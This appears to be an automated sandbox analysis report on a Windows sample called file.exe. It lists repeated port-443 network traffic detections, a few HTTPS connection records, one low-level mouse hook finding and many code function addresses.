Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49959 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.53.9:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49837 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.4:49839 version: TLS 1.2

Source: C:\Windows\System32\dxdiag.exe

Windows user hook set: 0 mouse low level C:\Windows\system32\dinput8.dll

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6BAF25C00	0_2_00007FF6BAF25C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6BAF26964	0_2_00007FF6BAF26964
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6BAF089E0	0_2_00007FF6BAF089E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6BAF01000	0_2_00007FF6BAF01000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6BAF208C8	0_2_00007FF6BAF208C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6BAF0A474	0_2_00007FF6BAF0A474
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6BAF0ACAD	0_2_00007FF6BAF0ACAD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6BAF15D30	0_2_00007FF6BAF15D30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6BAF11B50	0_2_00007FF6BAF11B50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6BAF12C10	0_2_00007FF6BAF12C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6BAF23C10	0_2_00007FF6BAF23C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6BAF26418	0_2_00007FF6BAF26418
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6BAF208C8	0_2_00007FF6BAF208C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6BAF1DA5C	0_2_00007FF6BAF1DA5C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6BAF0A2DB	0_2_00007FF6BAF0A2DB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6BAF11944	0_2_00007FF6BAF11944
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6BAF12164	0_2_00007FF6BAF12164
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6BAF139A4	0_2_00007FF6BAF139A4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6BAF21874	0_2_00007FF6BAF21874
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6BAF240AC	0_2_00007FF6BAF240AC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6BAF180E4	0_2_00007FF6BAF180E4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6BAF11740	0_2_00007FF6BAF11740
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6BAF11F60	0_2_00007FF6BAF11F60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6BAF18794	0_2_00007FF6BAF18794
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6BAF09800	0_2_00007FF6BAF09800
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6BAF25E7C	0_2_00007FF6BAF25E7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6BAF19EA0	0_2_00007FF6BAF19EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6BAF1DEF0	0_2_00007FF6BAF1DEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6BAF29728	0_2_00007FF6BAF29728
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6BAF11D54	0_2_00007FF6BAF11D54
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6BAF1E570	0_2_00007FF6BAF1E570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6BAF135A0	0_2_00007FF6BAF135A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FF6BAF26964	1_2_00007FF6BAF26964
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FF6BAF01000	1_2_00007FF6BAF01000
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FF6BAF0A474	1_2_00007FF6BAF0A474
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FF6BAF0ACAD	1_2_00007FF6BAF0ACAD
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FF6BAF15D30	1_2_00007FF6BAF15D30
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FF6BAF11B50	1_2_00007FF6BAF11B50
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FF6BAF25C00	1_2_00007FF6BAF25C00
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FF6BAF12C10	1_2_00007FF6BAF12C10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FF6BAF23C10	1_2_00007FF6BAF23C10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FF6BAF26418	1_2_00007FF6BAF26418
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FF6BAF208C8	1_2_00007FF6BAF208C8
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FF6BAF1DA5C	1_2_00007FF6BAF1DA5C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FF6BAF0A2DB	1_2_00007FF6BAF0A2DB
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FF6BAF11944	1_2_00007FF6BAF11944
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FF6BAF12164	1_2_00007FF6BAF12164
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FF6BAF139A4	1_2_00007FF6BAF139A4
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FF6BAF089E0	1_2_00007FF6BAF089E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FF6BAF21874	1_2_00007FF6BAF21874
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FF6BAF240AC	1_2_00007FF6BAF240AC
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FF6BAF208C8	1_2_00007FF6BAF208C8
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FF6BAF180E4	1_2_00007FF6BAF180E4
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FF6BAF11740	1_2_00007FF6BAF11740
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FF6BAF11F60	1_2_00007FF6BAF11F60
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FF6BAF18794	1_2_00007FF6BAF18794
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FF6BAF09800	1_2_00007FF6BAF09800
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FF6BAF25E7C	1_2_00007FF6BAF25E7C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FF6BAF19EA0	1_2_00007FF6BAF19EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FF6BAF1DEF0	1_2_00007FF6BAF1DEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FF6BAF29728	1_2_00007FF6BAF29728
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FF6BAF11D54	1_2_00007FF6BAF11D54
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FF6BAF1E570	1_2_00007FF6BAF1E570
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FF6BAF135A0	1_2_00007FF6BAF135A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF214C70	1_2_00007FFDFF214C70
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF1A92B0	1_2_00007FFDFF1A92B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF1B2250	1_2_00007FFDFF1B2250
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF244FC0	1_2_00007FFDFF244FC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF21BFC0	1_2_00007FFDFF21BFC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF1B7040	1_2_00007FFDFF1B7040
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF1B8020	1_2_00007FFDFF1B8020
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF1D4E70	1_2_00007FFDFF1D4E70
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF22CEA0	1_2_00007FFDFF22CEA0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF20CF30	1_2_00007FFDFF20CF30
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF1A0DC0	1_2_00007FFDFF1A0DC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF1BDDB0	1_2_00007FFDFF1BDDB0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF228C80	1_2_00007FFDFF228C80
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF1EBCC0	1_2_00007FFDFF1EBCC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF21ACA0	1_2_00007FFDFF21ACA0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF1A9D00	1_2_00007FFDFF1A9D00
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF1E0CE0	1_2_00007FFDFF1E0CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF19BD30	1_2_00007FFDFF19BD30
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF199B90	1_2_00007FFDFF199B90
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF193C10	1_2_00007FFDFF193C10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF242BF0	1_2_00007FFDFF242BF0
